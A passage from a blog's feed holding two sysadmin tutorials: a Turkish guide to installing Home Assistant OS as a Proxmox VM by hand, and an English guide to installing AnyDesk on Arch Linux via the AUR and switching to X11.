&lt;h2 id="1-imaj-yakalamak-en-gunceli-hangisiydi"&gt;1. &amp;Idot;maj&amp;inodot; Yakalamak (En G&amp;uuml;nceli Hangisiydi?)&lt;a class="headerlink" href="#1-imaj-yakalamak-en-gunceli-hangisiydi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;nce Proxmox sunucusuna bir SSH atal&amp;inodot;m. Web konsolundan da yazars&amp;inodot;n&amp;inodot;z ama kopyala-yap&amp;inodot;&amp;scedil;t&amp;inodot;r yaparken o konsol penceresi bazen sa&amp;ccedil;mal&amp;inodot;yor, harfler kay&amp;inodot;yor falan... Hi&amp;ccedil; gerek yok.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;root@vhost01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Scedil;imdi, gidip Home Assistant sitesinde "son s&amp;uuml;r&amp;uuml;m ka&amp;ccedil;t&amp;inodot; ya?" diye dolanmaya gerek yok. &amp;Scedil;u komut seti, GitHub'a gidip "Bana en son stabil s&amp;uuml;r&amp;uuml;m&amp;uuml; ver karde&amp;scedil;im" diyor ve indiriyor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Otomatik s&amp;uuml;r&amp;uuml;m&amp;uuml; bul ve indir&lt;/span&gt;
&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;https://raw.githubusercontent.com/home-assistant/version/master/stable.json&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ova"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

wget&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;--show-progress&lt;span class="w"&gt; &lt;/span&gt;https://github.com/home-assistant/operating-system/releases/download/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2.xz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;ndi mi? G&amp;uuml;zel. &amp;Scedil;imdi paketi a&amp;ccedil;al&amp;inodot;m.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unxz&lt;span class="w"&gt; &lt;/span&gt;haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2.xz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu arada dosya ismini kopyalamakla u&amp;gbreve;ra&amp;scedil;may&amp;inodot;n, &lt;code&gt;tab&lt;/code&gt; tu&amp;scedil;una bas&amp;inodot;nca tamaml&amp;inodot;yor zaten. (Bunu bilmeyen yoktur ama akl&amp;inodot;ma geldi i&amp;scedil;te).&lt;/p&gt;
&lt;h2 id="2-vmi-yaratmak-ama-oyle-dumduz-degil"&gt;2. VM'i Yaratmak (Ama &amp;Ouml;yle D&amp;uuml;md&amp;uuml;z De&amp;gbreve;il)&lt;a class="headerlink" href="#2-vmi-yaratmak-ama-oyle-dumduz-degil" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bak&amp;inodot;n buras&amp;inodot; &amp;ccedil;ok &amp;ouml;nemli. Eskiden &lt;code&gt;i440fx&lt;/code&gt; kullan&amp;inodot;rd&amp;inodot;k, i&amp;scedil;imizi g&amp;ouml;r&amp;uuml;rd&amp;uuml;. Ama devir de&amp;gbreve;i&amp;scedil;ti. E&amp;gbreve;er yar&amp;inodot;n &amp;ouml;b&amp;uuml;r g&amp;uuml;n bu Home Assistant'a bir Zigbee USB takacaksan&amp;inodot;z veya ekran kart&amp;inodot; passthrough yapacaksan&amp;inodot;z, &lt;strong&gt;Q35&lt;/strong&gt; &amp;ccedil;ipseti &amp;scedil;art. Scriptler bunu varsay&amp;inodot;lan yap&amp;inodot;yor, biz niye yapmayal&amp;inodot;m?&lt;/p&gt;
&lt;p&gt;Ben VM ID olarak &lt;code&gt;206&lt;/code&gt; se&amp;ccedil;tim, 106 da olur 300 de, keyfinize kalm&amp;inodot;&amp;scedil;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;create&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--name&lt;span class="w"&gt; &lt;/span&gt;hass01&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--pool&lt;span class="w"&gt; &lt;/span&gt;PROD&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tags&lt;span class="w"&gt; &lt;/span&gt;prod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--ostype&lt;span class="w"&gt; &lt;/span&gt;l26&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--machine&lt;span class="w"&gt; &lt;/span&gt;q35&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--agent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--bios&lt;span class="w"&gt; &lt;/span&gt;ovmf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cpu&lt;span class="w"&gt; &lt;/span&gt;host,flags&lt;span class="o"&gt;=&lt;/span&gt;+aes&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cores&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--memory&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--numa&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--scsihw&lt;span class="w"&gt; &lt;/span&gt;virtio-scsi-pci&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--net0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;virtio&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AA:BB:CC:DD:E2:06,bridge&lt;span class="o"&gt;=&lt;/span&gt;vmbr00,firewall&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,tag&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Kopyala-Yap&amp;inodot;&amp;scedil;t&amp;inodot;r Yaparken Dikkat! 💣&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Yukar&amp;inodot;daki komutta benim kendi sunucuma &amp;ouml;zel ayarlar var, direkt yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;rsan patlar:
* &lt;code&gt;--pool PROD&lt;/code&gt;: Sende "PROD" diye bir havuz yoksa bu sat&amp;inodot;r&amp;inodot; sil.
* &lt;code&gt;--net0 ...&lt;/code&gt;: Ben &lt;code&gt;vmbr00&lt;/code&gt; ve &lt;code&gt;tag=50&lt;/code&gt; (VLAN) kullan&amp;inodot;yorum. Sende muhtemelen &lt;code&gt;vmbr0&lt;/code&gt; vard&amp;inodot;r ve VLAN yoktur. Kendine g&amp;ouml;re d&amp;uuml;zelt!&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Q35 Detay&amp;inodot;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;--machine q35&lt;/code&gt; parametresi modern PCIe donan&amp;inodot;mlar&amp;inodot; i&amp;ccedil;in kritik. Bir de i&amp;scedil;lemciyi &lt;code&gt;host&lt;/code&gt; moduna ald&amp;inodot;k ki, sanalla&amp;scedil;t&amp;inodot;rma katman&amp;inodot;nda vakit kaybetmesin, ana makinenin t&amp;uuml;m &amp;ouml;zelliklerini kullans&amp;inodot;n.&lt;/p&gt;
&lt;h2 id="3-diski-zfs-havuzuna-frlatmak"&gt;3. Diski ZFS Havuzuna F&amp;inodot;rlatmak&lt;a class="headerlink" href="#3-diski-zfs-havuzuna-frlatmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Depolama alan&amp;inodot;n&amp;inodot;z&amp;inodot;n ad&amp;inodot;n&amp;inodot; biliyorsunuz de&amp;gbreve;il mi? Ben &lt;code&gt;pve_vdisks&lt;/code&gt; kullan&amp;inodot;yorum ama sizde %90 ihtimalle &lt;code&gt;local-zfs&lt;/code&gt; yazar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pvesm&lt;span class="w"&gt; &lt;/span&gt;status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Hadi &amp;scedil;u indirdi&amp;gbreve;imiz imaj&amp;inodot; havuza atal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;importdisk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu i&amp;scedil;lem diskin h&amp;inodot;z&amp;inodot;na g&amp;ouml;re biraz s&amp;uuml;rebilir. O arada gidip bir su i&amp;ccedil;in, sandalyeden kalk&amp;inodot;n. Bel f&amp;inodot;t&amp;inodot;&amp;gbreve;&amp;inodot; &amp;scedil;akaya gelmez.&lt;/p&gt;
&lt;h2 id="4-olayn-koptugu-yer-disk-ayarlar"&gt;4. Olay&amp;inodot;n Koptu&amp;gbreve;u Yer: Disk Ayarlar&amp;inodot;&lt;a class="headerlink" href="#4-olayn-koptugu-yer-disk-ayarlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te tteck scriptinin "sihri" burada. E&amp;gbreve;er diski d&amp;uuml;md&amp;uuml;z ba&amp;gbreve;larsan&amp;inodot;z &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r m&amp;inodot;? &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r. Ama Home Assistant onu eski tip d&amp;ouml;nen bir hard disk sanar. Biz ona "Hey, sen bir SSD &amp;uuml;zerindesin, rahat ol" diyece&amp;gbreve;iz (&lt;code&gt;ssd=1&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Ayr&amp;inodot;ca Proxmox 9 ve Secure Boot uyumu i&amp;ccedil;in EFI diskini de &amp;ouml;zel ayarlamam&amp;inodot;z laz&amp;inodot;m.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# &amp;Ouml;nce minik bir EFI diski&lt;/span&gt;
pvesm&lt;span class="w"&gt; &lt;/span&gt;alloc&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vm-206-disk-0&lt;span class="w"&gt; &lt;/span&gt;4M

&lt;span class="c1"&gt;# &amp;Scedil;imdi as&amp;inodot;l bombay&amp;inodot; patlat&amp;inodot;yoruz&lt;/span&gt;
qm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--efidisk0&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks:vm-206-disk-0,efitype&lt;span class="o"&gt;=&lt;/span&gt;4m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--scsi0&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks:vm-206-disk-1,ssd&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,discard&lt;span class="o"&gt;=&lt;/span&gt;on,iothread&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--boot&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;order&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;scsi0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Buradaki &lt;code&gt;discard=on&lt;/code&gt; komutu, ZFS i&amp;ccedil;in hayati &amp;ouml;nem ta&amp;scedil;&amp;inodot;yor. TRIM deste&amp;gbreve;i olmazsa o disk &amp;scedil;i&amp;scedil;er de &amp;scedil;i&amp;scedil;er, sonra "Disk doldu" uyar&amp;inodot;s&amp;inodot;yla u&amp;gbreve;ra&amp;scedil;&amp;inodot;rs&amp;inodot;n&amp;inodot;z. Tecr&amp;uuml;beyle sabit.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Bir de diski biraz b&amp;uuml;y&amp;uuml;telim, 32GB standartt&amp;inodot;r, yetmez derseniz 64 yap&amp;inodot;n.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;resize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;scsi0&lt;span class="w"&gt; &lt;/span&gt;32G
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="5-dogrulama-paranoyaklk-iyidir"&gt;5. Do&amp;gbreve;rulama (Paranoyakl&amp;inodot;k &amp;Idot;yidir)&lt;a class="headerlink" href="#5-dogrulama-paranoyaklk-iyidir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Her &amp;scedil;eyi yapt&amp;inodot;k ama bakal&amp;inodot;m diskler ger&amp;ccedil;ekten orada m&amp;inodot;?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pvesm&lt;span class="w"&gt; &lt;/span&gt;list&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks&lt;span class="w"&gt; &lt;/span&gt;--vmid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;&amp;inodot;kt&amp;inodot; a&amp;scedil;a&amp;gbreve;&amp;inodot; yukar&amp;inodot; &amp;scedil;&amp;ouml;yle olmal&amp;inodot; (Biri 4MB, di&amp;gbreve;eri 32GB):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Volid                    Format  Type             Size VMID
pve_vdisks:vm-206-disk-0 raw     images        4194304 206
pve_vdisks:vm-206-disk-1 raw     images    34359738368 206
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er ZFS datasetlerini de g&amp;ouml;rmek istersen:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zfs&lt;span class="w"&gt; &lt;/span&gt;list&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="6-hadi-bismillah-baslatyoruz"&gt;6. Hadi Bismillah: Ba&amp;scedil;lat&amp;inodot;yoruz&lt;a class="headerlink" href="#6-hadi-bismillah-baslatyoruz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Her &amp;scedil;ey yerli yerindeyse mar&amp;scedil;a basabiliriz.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;VM a&amp;ccedil;&amp;inodot;ld&amp;inodot;ktan sonra IP adresini bulun (modemden veya konsoldan), taray&amp;inodot;c&amp;inodot;ya &lt;code&gt;http://IP_ADRESI:8123&lt;/code&gt; yaz&amp;inodot;n. O me&amp;scedil;hur "Home Assistant haz&amp;inodot;rlan&amp;inodot;yor" ekran&amp;inodot;n&amp;inodot; g&amp;ouml;rd&amp;uuml;yseniz i&amp;scedil;lem tamamd&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Yani, script kullanmak k&amp;ouml;t&amp;uuml; de&amp;gbreve;il ama elle kurunca insan kendini bir "Mr. Robot" hissetmiyor da de&amp;gbreve;il hani. Hem art&amp;inodot;k sistemin her vidas&amp;inodot;n&amp;inodot; siz s&amp;inodot;kt&amp;inodot;n&amp;inodot;z, bir sorun &amp;ccedil;&amp;inodot;karsa neresine bakaca&amp;gbreve;&amp;inodot;n&amp;inodot;z&amp;inodot; biliyorsunuz. G&amp;uuml;le g&amp;uuml;le kullan&amp;inodot;n! 👋&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Bir keresinde discard a&amp;ccedil;may&amp;inodot; unuttu&amp;gbreve;um bir VM, 100GB verisi olmamas&amp;inodot;na ra&amp;gbreve;men ZFS &amp;uuml;zerinde 500GB yer kaplam&amp;inodot;&amp;scedil;t&amp;inodot;. Temizlemesi tam bir i&amp;scedil;kenceydi.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="proxmox"/><category term="home assistant"/><category term="haos"/><category term="zfs"/><category term="tteck"/><category term="vm"/><category term="linux"/><category term="disk"/></entry><entry><title>AnyDesk Installation on Arch Linux: Why This Instead of RustDesk?</title><link href="https://yuceltoluyag.github.io/en/arch-linux-anydesk-kurulumu-rehberi/" rel="alternate"/><published>2025-11-30T11:45:00+03:00</published><updated>2025-11-30T11:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/en/arch-linux-anydesk-kurulumu-rehberi/</id><summary type="html">&lt;p&gt;The heart wants RustDesk, but companies and relatives say AnyDesk. How do we bow to social pressure and install AnyDesk on Arch Linux as smoothly as possible?&lt;/p&gt;</summary><content type="html">&lt;p&gt;I know, you're going to ask in the comments (or to yourself): &lt;em&gt;"Hey, why closed-source AnyDesk when there's &lt;strong&gt;RustDesk&lt;/strong&gt;, which is beautifully open-source and self-hostable?"&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The answer is simple and painful: &lt;strong&gt;Peer Pressure.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The IT department at work, the distant cousin, the accountant... It's as if they've all received a revelation to use AnyDesk. When TeamViewer frustrated us all by saying "Commercial use detected, I'm kicking you out," everyone migrated to AnyDesk collectively instead of switching to RustDesk. No matter how much you say, "Look, this is free software," institutions and end-users don't change their habits.&lt;/p&gt;
&lt;p&gt;So, as someone who uses Arch Linux, I find myself forced to install AnyDesk in scenarios where I can't say "We use RustDesk" (which is 99% of the time).&lt;/p&gt;
&lt;p&gt;So, how do we install this "necessity" tool in the cleanest, most up-to-date, and trouble-free way on Arch Linux, now that the Flatpak version is dead (EOL)? Let's install this mandatory tool.&lt;/p&gt;
&lt;h2 id="step-1-the-power-of-aur-and-yay-yet-another-yogurt"&gt;Step 1: The Power of AUR and YAY (Yet Another Yogurt)&lt;a class="headerlink" href="#step-1-the-power-of-aur-and-yay-yet-another-yogurt" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AnyDesk is not in the official repositories. The Flatpak version is also unmaintained. We have one and the most powerful fortress left: &lt;strong&gt;AUR (Arch User Repository).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To use AUR, we need a helper like &lt;code&gt;yay&lt;/code&gt;. If you already have it on your system, skip this step. If not, open the terminal and install it with these commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;--needed&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;base-devel
&lt;span class="c1"&gt;# Run without root:&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://aur.archlinux.org/yay.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;yay
makepkg&lt;span class="w"&gt; &lt;/span&gt;-si
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="step-2-download-and-install-anydesk"&gt;Step 2: Download and Install AnyDesk&lt;a class="headerlink" href="#step-2-download-and-install-anydesk" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We won't bother compiling from source; we'll install the pre-compiled binary package (&lt;code&gt;anydesk-bin&lt;/code&gt;) for speed.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;anydesk-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If it asks questions during installation, you can just press &lt;code&gt;Enter&lt;/code&gt;. Fast and clean.&lt;/p&gt;
&lt;h2 id="step-3-the-wayland-deadlock-connection-issue"&gt;Step 3: The Wayland Deadlock (Connection Issue!)&lt;a class="headerlink" href="#step-3-the-wayland-deadlock-connection-issue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here is the technical and annoying part. Modern Linux distributions (Gnome, KDE, etc.) now use &lt;strong&gt;Wayland&lt;/strong&gt; by default. However, AnyDesk still doesn't work at full efficiency with Wayland.&lt;/p&gt;
&lt;p&gt;Especially if you're telling the other party, "Don't touch anything, I'll connect and handle it" (Unattended Access), Wayland will give you a nightmare. The screen won't appear, the mouse won't work, permission windows will pop up...&lt;/p&gt;
&lt;p&gt;Therefore, if you want a trouble-free connection, you have to use &lt;strong&gt;X11 (Xorg)&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="solution-for-gnome-users"&gt;Solution for Gnome Users:&lt;a class="headerlink" href="#solution-for-gnome-users" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We will edit the GDM configuration file and disable Wayland:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/gdm/custom.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uncomment the following line under the &lt;code&gt;[daemon]&lt;/code&gt; heading by removing the &lt;code&gt;#&lt;/code&gt; at the beginning:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[daemon]&lt;/span&gt;
&lt;span class="na"&gt;WaylandEnable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="for-kde-and-others"&gt;For KDE and Others:&lt;a class="headerlink" href="#for-kde-and-others" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When turning on the computer, make sure to select &lt;strong&gt;"Plasma (X11)"&lt;/strong&gt; or the X11 version of the desktop environment you use as the session type on the password screen.&lt;/p&gt;
&lt;h2 id="step-4-start-the-service-and-forget_1"&gt;Step 4: Start the Service and Forget&lt;a class="headerlink" href="#step-4-start-the-service-and-forget" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We installed AnyDesk, but if the service isn't running, you won't get an ID or you'll get a "Connecting to network" error. Let's start the service and make it run automatically at every boot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;anydesk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The process is complete! For a clean start, perform a &lt;code&gt;reboot&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yes, even though our hearts are with RustDesk, the realities of life sometimes force us to install AnyDesk. Now your Arch Linux system is ready to talk "their language" with Windows machines at work or your relatives' computers.&lt;/p&gt;
